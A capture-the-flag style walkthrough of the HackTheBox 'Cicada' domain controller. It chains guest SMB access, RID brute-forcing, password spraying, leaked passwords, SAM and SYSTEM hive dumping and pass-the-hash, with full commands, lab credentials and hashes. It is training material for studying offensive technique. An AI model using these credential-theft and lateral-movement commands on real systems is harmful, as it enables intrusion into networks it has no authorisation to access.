Overview

The machine starts by SMB guest access that exposes an HR share with a default onboarding password, RID brute-forcing enumerates domain users and password spraying gets initial credentials for michael.wrightson, LDAP enumeration leaks david.orelious's password in his description attribute giving read access to the DEV share where a backup script exposes emily.oscars's credentials to get a winrm shell, emily holds SeBackupPrivilege as a Backup Operator so we dump the SAM and SYSTEM hives and extract the Administrator NTLM hash to get shell as Administrator via Pass-the-Hash.

Enumeration

We'll start with nmap scan as usual

we've got DNS, SMB, NETBIOS, LDAP, LDAPS, and some Kerberos so we're sure it is an AD environment

  • the domain name is cicada.htb and FQDN is CICADA-DC.cicada.htb so we need to add those to our hosts file
  • there is ADCS in place with the CA CICADA-DC-CA
  • there is a big skew time 7 hours so we need to sync our times

Lets setup the environment

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ echo '10.129.231.149  CICADA-DC CICADA-DC.cicada.htb cicada.htb' | sudo tee -a /etc/hosts
10.129.231.149  CICADA-DC CICADA-DC.cicada.htb cicada.htb
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc smb 10.129.231.149 -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.129.231.149 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.149 445 CICADA-DC [+] krb5 conf saved to: krb5.conf
SMB 10.129.231.149 445 CICADA-DC [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.129.231.149 445 CICADA-DC [+] cicada.htb\:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ sudo ntpdate cicada.htb 
2026-06-05 10:39:58.768614 (-0700) +25200.136446 +/- 0.037808 cicada.htb 10.129.231.149 s1 no-leap
CLOCK: time stepped by 25200.136446

we're not given any credentials so lets test the Guest account if enabled and it if is we'll try to find a readable share

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc smb 10.129.231.149 -u 'Guest' -p ''
SMB 10.129.231.149 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.149 445 CICADA-DC [+] cicada.htb\Guest:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc smb 10.129.231.149 -u 'Guest' -p '' --shares
SMB 10.129.231.149 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.149 445 CICADA-DC [+] cicada.htb\Guest:
SMB 10.129.231.149 445 CICADA-DC [*] Enumerated shares
SMB 10.129.231.149 445 CICADA-DC Share Permissions Remark
SMB 10.129.231.149 445 CICADA-DC ----- ----------- ------
SMB 10.129.231.149 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.129.231.149 445 CICADA-DC C$ Default share
SMB 10.129.231.149 445 CICADA-DC DEV
SMB 10.129.231.149 445 CICADA-DC HR READ
SMB 10.129.231.149 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.129.231.149 445 CICADA-DC NETLOGON Logon server share
SMB 10.129.231.149 445 CICADA-DC SYSVOL Logon server share

HR Share

and we found a file called Notice from HR.txt so let's download it one issue with smbclient is we can't embed the file names in single quotes to escape the spaces and one of the solutions I always do is downloading all files as you see

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ smbclient //cicada.htb/HR -U'Guest'%''
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 05:29:09 2024
  ..                                  D        0  Thu Mar 14 05:21:29 2024
  Notice from HR.txt A 1266 Wed Aug 28 10:31:48 2024

                4168447 blocks of size 4096. 459490 blocks available
smb: \> get Notice from HR.txt
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Notice
smb: \> mget *
Get file Notice from HR.txt? y
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (2.2 KiloBytes/sec) (average 2.2 KiloBytes/sec)
smb: \>

and as you can see it looks like an on-boarding notice with default password setup Cicada$M6Corpb*@Lp#nZp!8

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ cat Notice\ from\ HR.txt 

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

so lets get a list of users, we can try --users and --rid-brute and if those didn't work we'll look for null bind in LDAP to get users but the --rid-brute worked here

here is our users list

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ cat rid.txt | grep User | cut -d "\\" -f 2 | grep -v Group | sed 's/ .*//g' > users.txt
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

User Michael

at this point we got a list of users and a possible password for one of them so lets password spray this list

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc smb cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
SMB 10.129.231.149 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.149 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.231.149 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.231.149 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.231.149 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.231.149 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.231.149 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.129.231.149 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

and trying to list shares for this user, still no read access over the DEV share

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc smb cicada.htb -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
SMB 10.129.231.149 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.149 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.129.231.149 445 CICADA-DC [*] Enumerated shares
SMB 10.129.231.149 445 CICADA-DC Share Permissions Remark
SMB 10.129.231.149 445 CICADA-DC ----- ----------- ------
SMB 10.129.231.149 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.129.231.149 445 CICADA-DC C$ Default share
SMB 10.129.231.149 445 CICADA-DC DEV
SMB 10.129.231.149 445 CICADA-DC HR READ
SMB 10.129.231.149 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.129.231.149 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.129.231.149 445 CICADA-DC SYSVOL READ Logon server share

so i tested the user against LDAP and it worked so I always run my ldaphunt to find any passwords or info leaked in ldap attributes in actual pentesting cases you always will run this kind of scans, also in HTB machines specially easy ones

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc ldap cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8'
LDAP 10.129.231.149 389 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb) (signing:None) (channel binding:Never)
LDAP 10.129.231.149 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

User david

by looking at this data i found this the user david.orelious leaked his password in the description

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc ldap cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
LDAP 10.129.231.149 389 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb) (signing:None) (channel binding:Never)
LDAP 10.129.231.149 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.129.231.149 389 CICADA-DC [*] Enumerated 8 domain users: cicada.htb
LDAP 10.129.231.149 389 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.231.149 389 CICADA-DC Administrator 2024-08-26 13:08:03 2 Built-in account for administering the computer/domain
LDAP 10.129.231.149 389 CICADA-DC Guest 2024-08-28 10:26:56 0 Built-in account for guest access to the computer/domain
LDAP 10.129.231.149 389 CICADA-DC krbtgt 2024-03-14 04:14:10 2 Key Distribution Center Service Account
LDAP 10.129.231.149 389 CICADA-DC john.smoulder 2024-03-14 05:17:29 2
LDAP 10.129.231.149 389 CICADA-DC sarah.dantelia 2024-03-14 05:17:29 2
LDAP 10.129.231.149 389 CICADA-DC michael.wrightson 2024-03-14 05:17:29 0
LDAP 10.129.231.149 389 CICADA-DC david.orelious 2024-03-14 05:17:29 1 Just in case I forget my password is aRt$Lp#7t*VQ!3
LDAP 10.129.231.149 389 CICADA-DC emily.oscars 2024-08-22 14:20:17 1

and we got read over the share DEV using this david user so lets see what we can find

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc smb 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
SMB 10.129.231.149 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.149 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.129.231.149 445 CICADA-DC [*] Enumerated shares
SMB 10.129.231.149 445 CICADA-DC Share Permissions Remark
SMB 10.129.231.149 445 CICADA-DC ----- ----------- ------
SMB 10.129.231.149 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.129.231.149 445 CICADA-DC C$ Default share
SMB 10.129.231.149 445 CICADA-DC DEV READ
SMB 10.129.231.149 445 CICADA-DC HR READ
SMB 10.129.231.149 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.129.231.149 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.129.231.149 445 CICADA-DC SYSVOL READ Logon server share

Dev Share

there is a Backup powershell script, that uses the credentials of user called emily to backup files

Shell As Emily

and you got the user flag

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc winrm cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
WINRM 10.129.231.149 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
WINRM 10.129.231.149 5985 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ evil-winrm -i cicada.htb -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> type ../Desktop/user.txt
76cdfd025b88fa3913072d957d4b81ca
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>

looking at this user's groups and privileges we can see that she got SeBackupPrivileges and she is a member of Backup Operators groups

so I dumped the HKLM hives and lets crack them offline

plaintext
*Evil-WinRM* PS C:\Users\emreg save HKLM\system system.save
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save HKLM\sam sam.save
The operation completed successfully.

Shell as Administrator

dumping the hashes locally out of the hives got us the administrator's hash

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ secretsdump.py -sam sam.save -system system.save LOCAL
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up... 

and we got root

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/cicada]
└──╼ [★]$ nxc winrm cicada.htb -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -X 'type C:\Users\Administrator\Desktop\root.txt'
WINRM 10.129.231.149 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
WINRM 10.129.231.149 5985 CICADA-DC [+] cicada.htb\administrator:2b87e7c93a3e8a0ea4a581937016f341 (Pwn3d!)
WINRM 10.129.231.149 5985 CICADA-DC [+] Executed command (shell type: powershell)
WINRM 10.129.231.149 5985 CICADA-DC 65dfceac2e580d05f3e486b0422c7a1c

Resources